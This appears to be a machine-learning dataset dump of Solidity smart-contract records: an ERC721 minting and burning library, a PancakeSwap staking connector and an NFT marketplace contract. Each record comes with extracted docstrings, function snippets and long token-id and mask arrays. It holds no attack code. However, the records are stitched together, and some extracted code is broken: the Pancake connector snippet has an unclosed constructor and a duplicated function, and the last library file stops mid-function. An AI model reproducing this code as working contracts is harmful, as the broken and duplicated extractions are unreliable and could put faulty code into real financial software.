Reverts if `tokenId` already exists. /// @dev Reverts if `tokenId` has been previously burnt. /// @dev Emits a {Transfer} event from the zero address. /// @param to Address of the new token owner. /// @param tokenId Identifier of the token to mint. function mintOnce( Layout storage s, address to, uint256 tokenId ) internal { require(to != address(0), "ERC721: mint to address(0)"); uint256 owner = s.owners[tokenId]; require(!_tokenExists(owner), "ERC721: existing token"); require(!_tokenWasBurnt(owner), "ERC721: burnt token"); s.owners[tokenId] = uint256(uint160(to)); unchecked { // cannot overflow due to the cost of minting individual tokens ++s.balances[to]; } emit Transfer(address(0), to, tokenId); } /// @notice Safely mints a token once. /// @dev Note: This function implements {ERC721Mintable-safeMint(address,uint256,bytes)}. /// @dev Note: Either `safeMint` or `safeMintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `tokenId` already exists. /// @dev Reverts if `tokenId` has been previously burnt. /// @dev Reverts if `to` is a contract and the call to {IERC721Receiver-onERC721Received} fails, reverts or is rejected. /// @dev Emits a {Transfer} event from the zero address. /// @param to Address of the new token owner. /// @param tokenId Identifier of the token to mint. /// @param data Optional data to pass along to the receiver call. function safeMintOnce( Layout storage s, address sender, address to, uint256 tokenId, bytes memory data ) internal { s.mintOnce(to, tokenId); if (to.isContract()) { _callOnERC721Received(sender, address(0), to, tokenId, data); } } /// @notice Unsafely mints a batch of tokens once. /// @dev Note: This function implements {ERC721Mintable-batchMint(address,uint256[])}. /// @dev Note: Either `batchMint` or `batchMintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if one of `tokenIds` already exists. /// @dev Reverts if one of `tokenIds` has been previously burnt. /// @dev Emits a {Transfer} event from the zero address for each of `tokenIds`. /// @param to Address of the new tokens owner. /// @param tokenIds Identifiers of the tokens to mint. function batchMintOnce( Layout storage s, address to, uint256[] memory tokenIds ) internal { require(to != address(0), "ERC721: mint to address(0)"); unchecked { uint256 length = tokenIds.length; for (uint256 i; i != length; ++i) { uint256 tokenId = tokenIds[i]; uint256 owner = s.owners[tokenId]; require(!_tokenExists(owner), "ERC721: existing token"); require(!_tokenWasBurnt(owner), "ERC721: burnt token"); s.owners[tokenId] = uint256(uint160(to)); emit Transfer(address(0), to, tokenId); } s.balances[to] += length; } } /// @notice Unsafely mints tokens to multiple recipients once. /// @dev Note: This function implements {ERC721Deliverable-deliver(address[],uint256[])}. /// @dev Note: Either `deliver` or `deliverOnce` should be used in a given contract, but not both. /// @dev Reverts if `recipients` and `tokenIds` have different lengths. /// @dev Reverts if one of `recipients` is the zero address. /// @dev Reverts if one of `tokenIds` already exists. /// @dev Reverts if one of `tokenIds` has been previously burnt. /// @dev Emits a {Transfer} event from the zero address for each of `recipients` and `tokenIds`. /// @param recipients Addresses of the new tokens owners. /// @param tokenIds Identifiers of the tokens to mint. function deliverOnce( Layout storage s, address[] memory recipients, uint256[] memory tokenIds ) internal { unchecked { uint256 length = recipients.length; require(length == tokenIds.length, "ERC721: inconsistent arrays"); for (uint256 i; i != length; ++i) { address to = recipients[i]; require(to != address(0), "ERC721: mint to address(0)"); uint256 tokenId = tokenIds[i]; uint256 owner = s.owners[tokenId]; require(!_tokenExists(owner), "ERC721: existing token"); require(!_tokenWasBurnt(owner), "ERC721: burnt token"); s.owners[tokenId] = uint256(uint160(to)); ++s.balances[to]; emit Transfer(address(0), to, tokenId); } } } /// @notice Burns a token by a sender. /// @dev Note: This function implements {ERC721Burnable-burnFrom(address,uint256)}. /// @dev Reverts if `tokenId` is not owned by `from`. /// @dev Reverts if `sender` is not `from` and has not been approved by `from` for `tokenId`. /// @dev Emits a {Transfer} event with `to` set to the zero address. /// @param sender The message sender. /// @param from The current token owner. /// @param tokenId The identifier of the token to burn. function burnFrom( Layout storage s, address sender, address from, uint256 tokenId ) internal { uint256 owner = s.owners[tokenId]; require(from == _tokenOwner(owner), "ERC721: non-owned token"); if (!_isOperatable(s, from, sender)) { require(_tokenHasApproval(owner) && sender == s.approvals[tokenId], "ERC721: non-approved sender"); } s.owners[tokenId] = BURNT_TOKEN_OWNER_VALUE; unchecked { // cannot underflow as balance is verified through TOKEN ownership --s.balances[from]; } emit Transfer(from, address(0), tokenId); } /// @notice Burns a batch of tokens by a sender. /// @dev Note: This function implements {ERC721Burnable-batchBurnFrom(address,uint256[])}. /// @dev Reverts if one of `tokenIds` is not owned by `from`. /// @dev Reverts if `sender` is not `from` and has not been approved by `from` for each of `tokenIds`. /// @dev Emits a {Transfer} event with `to` set to the zero address for each of `tokenIds`. /// @param sender The message sender. /// @param from The current tokens owner. /// @param tokenIds The identifiers of the tokens to burn. function batchBurnFrom( Layout storage s, address sender, address from, uint256[] memory tokenIds ) internal { bool operatable = _isOperatable(s, from, sender); unchecked { uint256 length = tokenIds.length; for (uint256 i; i != length; ++i) { uint256 tokenId = tokenIds[i]; uint256 owner = s.owners[tokenId]; require(from == _tokenOwner(owner), "ERC721: non-owned token"); if (!operatable) { require(_tokenHasApproval(owner) && sender == s.approvals[tokenId], "ERC721: non-approved sender"); } s.owners[tokenId] = BURNT_TOKEN_OWNER_VALUE; emit Transfer(from, address(0), tokenId); } if (length != 0) { s.balances[from] -= length; } } } /// @notice Gets the balance of an address. /// @dev Note: This function implements {ERC721-balanceOf(address)}. /// @dev Reverts if `owner` is the zero address. /// @param owner The address to query the balance of. /// @return balance The amount owned by the owner. function balanceOf(Layout storage s, address owner) internal view returns (uint256 balance) { require(owner != address(0), "ERC721: balance of address(0)"); return s.balances[owner]; } /// @notice Gets the owner of a token. /// @dev Note: This function implements {ERC721-ownerOf(uint256)}. /// @dev Reverts if `tokenId` does not exist. /// @param tokenId The token identifier to query the owner of. /// @return tokenOwner The owner of the token. function ownerOf(Layout storage s, uint256 tokenId) internal view returns (address tokenOwner) { uint256 owner = s.owners[tokenId]; require(_tokenExists(owner), "ERC721: non-existing token"); return _tokenOwner(owner); } /// @notice Gets the approved address for a token. /// @dev Note: This function implements {ERC721-getApproved(uint256)}. /// @dev Reverts if `tokenId` does not exist. /// @param tokenId The token identifier to query the approval of. /// @return approved The approved address for the token identifier, or the zero address if no approval is set. function getApproved(Layout storage s, uint256 tokenId) internal view returns (address approved) { uint256 owner = s.owners[tokenId]; require(_tokenExists(owner), "ERC721: non-existing token"); if (_tokenHasApproval(owner)) { return s.approvals[tokenId]; } else { return address(0); } } /// @notice Gets whether an operator is approved for all tokens by an owner. /// @dev Note: This function implements {ERC721-isApprovedForAll(address,address)}. /// @param owner The address which gives the approval for all tokens. /// @param operator The address which receives the approval for all tokens. /// @return approvedForAll Whether the operator is approved for all tokens by the owner. function isApprovedForAll( Layout storage s, address owner, address operator ) internal view returns (bool approvedForAll) { return s.operators[owner][operator]; } /// @notice Gets whether a token was burnt. /// @param tokenId The token identifier. /// @return tokenWasBurnt Whether the token was burnt. function wasBurnt(Layout storage s, uint256 tokenId) internal view returns (bool tokenWasBurnt) { return _tokenWasBurnt(s.owners[tokenId]); } function layout() internal pure returns (Layout storage s) { bytes32 position = LAYOUT_STORAGE_SLOT; assembly { s.slot := position } } /// @notice Calls {IERC721Receiver-onERC721Received} on a target contract. /// @dev Reverts if the call to the target fails, reverts or is rejected. /// @param sender sender of the message. /// @param from Previous token owner. /// @param to New token owner. /// @param tokenId Identifier of the token transferred. /// @param data Optional data to send along with the receiver contract call. function _callOnERC721Received( address sender, address from, address to, uint256 tokenId, bytes memory data ) private { require(IERC721Receiver(to).onERC721Received(sender, from, tokenId, data) == ERC721_RECEIVED, "ERC721: safe transfer rejected"); } /// @notice Returns whether `sender` is authorised to make a transfer on behalf of `from`. /// @param from The token owner. /// @param sender The sender to check the operatability of. /// @return operatable True if sender is `from` or an operator for `from`, false otherwise. function _isOperatable( Layout storage s, address from, address sender ) private view returns (bool operatable) { return (from == sender) || s.operators[from][sender]; } function _tokenOwner(uint256 owner) private pure returns (address tokenOwner) { return address(uint160(owner)); } function _tokenExists(uint256 owner) private pure returns (bool tokenExists) { return uint160(owner) != 0; } function _tokenWasBurnt(uint256 owner) private pure returns (bool tokenWasBurnt) { return owner == BURNT_TOKEN_OWNER_VALUE; } function _tokenHasApproval(uint256 owner) private pure returns (bool tokenSasApproval) { return owner & TOKEN_APPROVAL_OWNER_FLAG != 0; } }
@notice Safely mints a token once. @dev Note: This function implements {ERC721Mintable-safeMint(address,uint256,bytes)}. @dev Note: Either `safeMint` or `safeMintOnce` should be used in a given contract, but not both. @dev Reverts if `to` is the zero address. @dev Reverts if `tokenId` already exists. @dev Reverts if `tokenId` has been previously burnt. @dev Reverts if `to` is a contract and the call to {IERC721Receiver-onERC721Received} fails, reverts or is rejected. @dev Emits a {Transfer} event from the zero address. @param to Address of the new token owner. @param tokenId Identifier of the token to mint. @param data Optional data to pass along to the receiver call.
function safeMintOnce( Layout storage s, address sender, address to, uint256 tokenId, bytes memory data ) internal { s.mintOnce(to, tokenId); if (to.isContract()) { _callOnERC721Received(sender, address(0), to, tokenId, data); } }
15,845,413
[ 1, 26946, 2357, 312, 28142, 279, 1147, 3647, 18, 225, 3609, 30, 1220, 445, 4792, 288, 654, 39, 27, 5340, 49, 474, 429, 17, 4626, 49, 474, 12, 2867, 16, 11890, 5034, 16, 3890, 13, 5496, 225, 3609, 30, 14635, 1375, 4626, 49, 474, 68, 578, 1375, 4626, 49, 474, 12212, 68, 1410, 506, 1399, 316, 279, 864, 6835, 16, 1496, 486, 3937, 18, 225, 868, 31537, 309, 1375, 869, 68, 353, 326, 3634, 1758, 18, 225, 868, 31537, 309, 1375, 2316, 548, 68, 1818, 1704, 18, 225, 868, 31537, 309, 1375, 2316, 548, 68, 711, 2118, 7243, 18305, 88, 18, 225, 868, 31537, 309, 1375, 869, 68, 353, 279, 6835, 471, 326, 745, 358, 288, 45, 654, 39, 27, 5340, 12952, 17, 265, 654, 39, 27, 5340, 8872, 97, 6684, 16, 15226, 87, 578, 353, 11876, 18, 225, 7377, 1282, 279, 288, 5912, 97, 871, 628, 326, 3634, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 4183, 49, 474, 12212, 12, 203, 3639, 9995, 2502, 272, 16, 203, 3639, 1758, 5793, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 1731, 3778, 501, 203, 565, 262, 2713, 288, 203, 3639, 272, 18, 81, 474, 12212, 12, 869, 16, 1147, 548, 1769, 203, 3639, 309, 261, 869, 18, 291, 8924, 10756, 288, 203, 5411, 389, 1991, 1398, 654, 39, 27, 5340, 8872, 12, 15330, 16, 1758, 12, 20, 3631, 358, 16, 1147, 548, 16, 501, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../interfaces/IPancakeMasterChef.sol"; import "./AbstractStakeRedeemConnector.sol"; /** * Compatible with: * - Pancake: https://bscscan.com/address/0x73feaa1ee314f8c655e354234017be2193c9e24e * To get pending rewards use IPancakeStaking(0x73feaa1ee314f8c655e354234017be2193c9e24e).pendingCake(0, piToken). */ contract PancakeMasterChefIndexConnector is AbstractStakeRedeemConnector { uint256 internal constant PANCAKE_POOL_ID = 0; constructor( address _staking, address _underlying, address _piToken ) public AbstractStakeRedeemConnector(_staking, _underlying, _piToken, 46e12) {} //6 hours with 13ms block /*** VIEWERS ***/ function getPendingRewards() external view returns (uint256 amount) { return IPancakeMasterChef(STAKING).pendingCake(PANCAKE_POOL_ID, address(PI_TOKEN)); } /*** OVERRIDES ***/ function getUnderlyingStaked() external view override returns (uint256) { if (STAKING == address(0)) { return 0; } (uint256 amount, ) = IPancakeMasterChef(STAKING).userInfo(PANCAKE_POOL_ID, address(PI_TOKEN)); return amount; } function _claimImpl() internal override { _stakeImpl(0); } function _stakeImpl(uint256 _amount) internal override { _callExternal(PI_TOKEN, STAKING, IPancakeMasterChef.enterStaking.selector, abi.encode(_amount)); } function _redeemImpl(uint256 _amount) internal override { _callExternal(PI_TOKEN, STAKING, IPancakeMasterChef.leaveStaking.selector, abi.encode(_amount)); } }
* Compatible with: To get pending rewards use IPancakeStaking(0x73feaa1ee314f8c655e354234017be2193c9e24e).pendingCake(0, piToken)./
contract PancakeMasterChefIndexConnector is AbstractStakeRedeemConnector { uint256 internal constant PANCAKE_POOL_ID = 0; constructor( address _staking, address _underlying, address _piToken function getPendingRewards() external view returns (uint256 amount) { return IPancakeMasterChef(STAKING).pendingCake(PANCAKE_POOL_ID, address(PI_TOKEN)); } function getUnderlyingStaked() external view override returns (uint256) { if (STAKING == address(0)) { return 0; } (uint256 amount, ) = IPancakeMasterChef(STAKING).userInfo(PANCAKE_POOL_ID, address(PI_TOKEN)); return amount; } function getUnderlyingStaked() external view override returns (uint256) { if (STAKING == address(0)) { return 0; } (uint256 amount, ) = IPancakeMasterChef(STAKING).userInfo(PANCAKE_POOL_ID, address(PI_TOKEN)); return amount; } function _claimImpl() internal override { _stakeImpl(0); } function _stakeImpl(uint256 _amount) internal override { _callExternal(PI_TOKEN, STAKING, IPancakeMasterChef.enterStaking.selector, abi.encode(_amount)); } function _redeemImpl(uint256 _amount) internal override { _callExternal(PI_TOKEN, STAKING, IPancakeMasterChef.leaveStaking.selector, abi.encode(_amount)); } }
5,476,506
[ 1, 14599, 598, 30, 2974, 336, 4634, 283, 6397, 999, 2971, 19292, 911, 510, 6159, 12, 20, 92, 9036, 3030, 7598, 21, 1340, 23, 3461, 74, 28, 71, 26, 2539, 73, 4763, 24, 17959, 1611, 27, 2196, 22, 3657, 23, 71, 29, 73, 3247, 73, 2934, 9561, 31089, 12, 20, 16, 4790, 1345, 2934, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12913, 23780, 7786, 39, 580, 74, 1016, 7487, 353, 4115, 510, 911, 426, 24903, 7487, 288, 203, 225, 2254, 5034, 2713, 5381, 453, 1258, 3587, 6859, 67, 20339, 67, 734, 273, 374, 31, 203, 203, 225, 3885, 12, 203, 565, 1758, 389, 334, 6159, 16, 203, 565, 1758, 389, 9341, 6291, 16, 203, 565, 1758, 389, 7259, 1345, 203, 203, 203, 203, 225, 445, 1689, 2846, 17631, 14727, 1435, 3903, 1476, 1135, 261, 11890, 5034, 3844, 13, 288, 203, 565, 327, 2971, 19292, 911, 7786, 39, 580, 74, 12, 882, 14607, 1360, 2934, 9561, 31089, 12, 30819, 3587, 6859, 67, 20339, 67, 734, 16, 1758, 12, 1102, 67, 8412, 10019, 203, 225, 289, 203, 203, 203, 225, 445, 10833, 765, 6291, 510, 9477, 1435, 3903, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 565, 309, 261, 882, 14607, 1360, 422, 1758, 12, 20, 3719, 288, 203, 1377, 327, 374, 31, 203, 565, 289, 203, 565, 261, 11890, 5034, 3844, 16, 262, 273, 2971, 19292, 911, 7786, 39, 580, 74, 12, 882, 14607, 1360, 2934, 1355, 966, 12, 30819, 3587, 6859, 67, 20339, 67, 734, 16, 1758, 12, 1102, 67, 8412, 10019, 203, 565, 327, 3844, 31, 203, 225, 289, 203, 203, 225, 445, 10833, 765, 6291, 510, 9477, 1435, 3903, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 565, 309, 261, 882, 14607, 1360, 422, 1758, 12, 20, 3719, 288, 203, 1377, 327, 374, 31, 203, 565, 289, 203, 565, 261, 11890, 5034, 3844, 16, 262, 273, 2971, 19292, 911, 7786, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; interface IGrailNFT1155 { function getCreators(uint256 _id) external view returns (address[] memory); } contract GrailMarketplace is Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address payable; using SafeERC20Upgradeable for IERC20Upgradeable; /// @notice Events for the contract event ItemListed(address indexed owner, address indexed nft, uint256 indexed tokenId, uint256 quantity, uint256 pricePerItem, uint256 startingTime, bool isPrivate, address allowedAddress); event ItemSold(address indexed seller, address indexed buyer, address nft, uint256 indexed tokenId, uint256 quantity, uint256 price); event ItemUpdated(address indexed owner, address indexed nft, uint256 indexed tokenId, uint256 newPrice); event ItemCanceled(address indexed owner, address indexed nft, uint256 tokenId); event UpdatePlatformFee(uint256 platformFee); event UpdatePlatformFeeRecipient(address payable platformFeeRecipient); /// @notice Structure for listed items struct Listing { uint256 quantity; uint256 pricePerItem; uint256 startingTime; address allowedAddress; } bytes4 private constant INTERFACE_ID_ERC1155 = 0xd9b67a26; /// @notice NftAddress -> Token ID -> Royalty mapping(uint256 => uint8) public royalties; /// @notice NftAddress -> Token ID -> Owner -> Listing item mapping(address => mapping(uint256 => mapping(address => Listing))) public listings; /// @notice Platform fee uint256 public platformFee; /// @notice Platform fee receipient address payable public feeReceipient; // Initializer instead of constructor function __GrailMarketplace_init(address payable _feeRecipient, uint256 _platformFee) public initializer { // OwnableUpgradeable __Context_init_unchained(); // OwnableUpgradeable __Ownable_init_unchained(); // ReentrancyGuardUpgradeable __ReentrancyGuard_init_unchained(); platformFee = _platformFee; feeReceipient = _feeRecipient; } /// @notice Method for listing NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _quantity token amount to list (needed for ERC-1155 NFTs, set as 1 for ERC-721) /// @param _pricePerItem sale price for each iteam /// @param _startingTime scheduling for a future sale /// @param _allowedAddress optional param for private sale function listItem( address _nftAddress, uint256 _tokenId, uint256 _quantity, uint256 _pricePerItem, uint256 _startingTime, address _allowedAddress ) external { if (IERC165Upgradeable(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)) { IERC1155Upgradeable nft = IERC1155Upgradeable(_nftAddress); require(nft.balanceOf(_msgSender(), _tokenId) >= _quantity, "Must hold enough NFTs."); require(nft.isApprovedForAll(_msgSender(), address(this)), "Must be approved before list."); } else { revert("Invalid NFT address."); } listings[_nftAddress][_tokenId][_msgSender()] = Listing(_quantity, _pricePerItem, _startingTime, _allowedAddress); emit ItemListed(_msgSender(), _nftAddress, _tokenId, _quantity, _pricePerItem, _startingTime, _allowedAddress == address(0x0), _allowedAddress); } /// @notice Method for canceling listed NFT function cancelListing(address _nftAddress, uint256 _tokenId) external nonReentrant { require(listings[_nftAddress][_tokenId][_msgSender()].quantity > 0, "Not listed item."); _cancelListing(_nftAddress, _tokenId, _msgSender()); } /// @notice Method for updating listed NFT /// @param _nftAddress Address of NFT contract /// @param _tokenId Token ID of NFT /// @param _newPrice New sale price for each iteam function updateListing( address _nftAddress, uint256 _tokenId, uint256 _newPrice ) external nonReentrant { Listing storage listedItem = listings[_nftAddress][_tokenId][_msgSender()]; require(listedItem.quantity > 0, "Not listed item."); if (IERC165Upgradeable(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)) { IERC1155Upgradeable nft = IERC1155Upgradeable(_nftAddress); require(nft.balanceOf(_msgSender(), _tokenId) >= listedItem.quantity, "Not owning the item."); } else { revert("Invalid NFT address."); } listedItem.pricePerItem = _newPrice; emit ItemUpdated(_msgSender(), _nftAddress, _tokenId, _newPrice); } /// @notice Method for buying listed NFT /// @param _nftAddress NFT contract address /// @param _tokenId TokenId function buyItem( address _nftAddress, uint256 _tokenId, address payable _owner ) external payable nonReentrant { Listing storage listedItem = listings[_nftAddress][_tokenId][_owner]; require(listedItem.quantity > 0, "Not listed item."); if (IERC165Upgradeable(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)) { IERC1155Upgradeable nft = IERC1155Upgradeable(_nftAddress); require(nft.balanceOf(_owner, _tokenId) >= listedItem.quantity, "Not owning the item."); } else { revert("Invalid NFT address."); } require(_getNow() >= listedItem.startingTime, "Item is not buyable yet."); require(msg.value >= listedItem.pricePerItem, "Not enough amount to buy item."); if (listedItem.allowedAddress != address(0)) { require(listedItem.allowedAddress == _msgSender(), "You are not eligable to buy item."); } uint256 feeAmount = msg.value.mul(platformFee).div(1e3); (bool feeTransferSuccess, ) = feeReceipient.call{ value: feeAmount }(""); require(feeTransferSuccess, "GrailMarketplace: Fee transfer failed"); // Send royalty to creator(minter) address[] memory creatorAddress = IGrailNFT1155(_nftAddress).getCreators(_tokenId); if (creatorAddress[0] != address(0) && royalties[_tokenId] != uint8(0)) { uint256 royaltyFee = msg.value.sub(feeAmount).mul(royalties[_tokenId]).div(100); (bool royaltyTransferSuccess, ) = payable(creatorAddress[0]).call{ value: royaltyFee }(""); require(royaltyTransferSuccess, "GrailMarketplace: Royalty fee transfer failed"); feeAmount = feeAmount.add(royaltyFee); } (bool ownerTransferSuccess, ) = _owner.call{ value: msg.value.sub(feeAmount) }(""); require(ownerTransferSuccess, "GrailMarketplace: Owner transfer failed"); // Transfer NFT to buyer IERC1155Upgradeable(_nftAddress).safeTransferFrom(_owner, _msgSender(), _tokenId, 1, bytes("")); emit ItemSold(_owner, _msgSender(), _nftAddress, _tokenId, 1, msg.value); listedItem.quantity = listedItem.quantity.sub(1); if (listedItem.quantity == 0) { delete (listings[_nftAddress][_tokenId][_owner]); } } /// @notice Method for setting royalty /// @param _tokenId TokenId /// @param _royalty Royalty function registerRoyalty( address _nftAddress, uint256 _tokenId, uint8 _royalty ) external { if (IERC165Upgradeable(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)) { require(IGrailNFT1155(_nftAddress).getCreators(_tokenId)[0] == _msgSender(), "Not minter of this item."); } else { revert("Invalid NFT address."); } royalties[_tokenId] = _royalty; } /** @notice Method for updating platform fee @dev Only admin @param _platformFee uint256 the platform fee to set */ function updatePlatformFee(uint256 _platformFee) external onlyOwner { platformFee = _platformFee; emit UpdatePlatformFee(_platformFee); } /** @notice Method for updating platform fee address @dev Only admin @param _platformFeeRecipient payable address the address to sends the funds to */ function updatePlatformFeeRecipient(address payable _platformFeeRecipient) external onlyOwner { feeReceipient = _platformFeeRecipient; emit UpdatePlatformFeeRecipient(_platformFeeRecipient); } //////////////////////////// /// Internal and Private /// //////////////////////////// function _getNow() internal view virtual returns (uint256) { return block.timestamp; } function _cancelListing( address _nftAddress, uint256 _tokenId, address _owner ) private { Listing memory listedItem = listings[_nftAddress][_tokenId][_owner]; if (IERC165Upgradeable(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)) { IERC1155Upgradeable nft = IERC1155Upgradeable(_nftAddress); require(nft.balanceOf(_msgSender(), _tokenId) >= listedItem.quantity, "Not owning the item."); } else { revert("Invalid NFT address."); } delete (listings[_nftAddress][_tokenId][_owner]); emit ItemCanceled(_owner, _nftAddress, _tokenId); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line 